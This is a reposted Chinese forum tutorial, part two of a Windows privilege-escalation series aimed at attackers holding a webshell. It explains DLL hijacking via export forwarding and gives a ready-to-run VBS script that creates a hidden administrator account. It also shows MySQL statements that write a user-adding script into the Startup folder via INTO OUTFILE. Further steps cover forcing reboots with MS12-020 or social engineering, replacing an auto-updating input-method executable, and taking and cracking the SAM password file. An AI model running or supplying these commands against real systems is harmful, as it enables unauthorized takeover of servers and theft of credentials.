（转自i春秋）提权第二部分

原文:http://bbs.ichunqiu.com/thread-8390-1-1.html?from=jianshu

问：被删除的储存过程如何被恢复？

一般管理员会删除储存过程，在我们手动恢复储存过程时，经常会发生各种错误。我们要对症下药，根据报错信息，找到问题所在。

0x03 权限继承类提权---基于DLL劫持的WebShell提权

什么是DLL劫持

DLL劫持的原因。

1、Windows的DLL称为动态链接库，动态链接库技术的本质实际上是将可执行文件与库文件分离，DLL库文件通过导出表提供API接口，PE加载器通过exe文件的导入表加载相应的DLL，并根据exe文件中的INT查询DLL中的函数地址，同时写入IAT。

2、当PE加载器根据exe文件的导入表加载DLL文件时，它会按照程序的当前目录-->system32目录-->windows目录-->

ATH环境变量设置的目录来依次查找要加载的DLL文件。因此，我们可以在伪造一个导入表同名的DLL文件，放置到exe文件的目录中，让PE加载器加载我们伪造的DLL文件，从而实现劫持。

3、DLL的转发器功能为我们提供了必要的条件，所谓DLL转发器功能是将对某个DLL文件的导出函数调用转到另一个DLL文件的导出函数中。类似于下面的代码：

xxx.dll

#pragma comment(linker, "/EXPORT:MessageBoxA = user32.MessageBoxA")

除了lpk.dll劫持，常常被黑客们使用的还有针对专门的第三方软件的个性化dll。

0x04 权限继承类提权

开机启动项提权？

windows开机时候都会有一些开机启动的程序，那时候启动的程序权限都是system，因为是system把他们启动的，利用这点，我们可以将自动化脚本写入启动项，达到提权的目的

关于自动化脚本？

不会写vbs脚本？

Set wsnetwork=CreateObject("WSCRIPT.NETWORK")

os="WinNT://"&wsnetwork.ComputerName

Set ob=GetObject(os) '得到adsi接口，绑定

Set oe=GetObject(os&"/Administrators,group") '属性，admin组

Set od=ob.Create("user","nsfocus") '建立用户

od.SetPassword "Nsf0cus123" '设置密码

od.SetInfo

Set of=GetObject(os&"/nsfocus",user) '得到用户

oe.add os&"/nsfocus"

保存成*.vbs，一般cmd中使用如下格式执行：

C:>cscript *.vbs

我们有vbs之后的事......

TIPS：

1.通常我们会主动去重启服务器，利用远程溢出（Ms12-020）或社工手法等。

2.写入脚本的时候也常常用数据库去写入

*连接mysql数据库后执行

1.创建a表列名cmd并写入文本：

create table a (cmd text);

2.一条一条执行：

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1 /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );

3.建立好列并写入数据了，接着就是导出了。

C:\Documents and Settings\All Users\「开始」菜单\程序\启动\这个是启动目录。

使用命令：select * from a into outfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs"

成功导出vbs到启动目录

替换文件提权

搜狗拼音文件夹权限漏洞

D:\Program Files (x86)\SogouInput\7.0.0.9553\PinyinUp.exe

输入法定时联网，更新词库，检查版本等信息，自动执行。替换成我们想要的：加账号，读密码等提权操作。举一反三，很多类似的自动运行的应用程序。获取高权限账号之后获取Windows管理员账号下载系统的 sam文件，(“%windir%system32\config\”)然后用SamInside等软件进行破解，只要能拿到，肯花时间，就一定可以破解。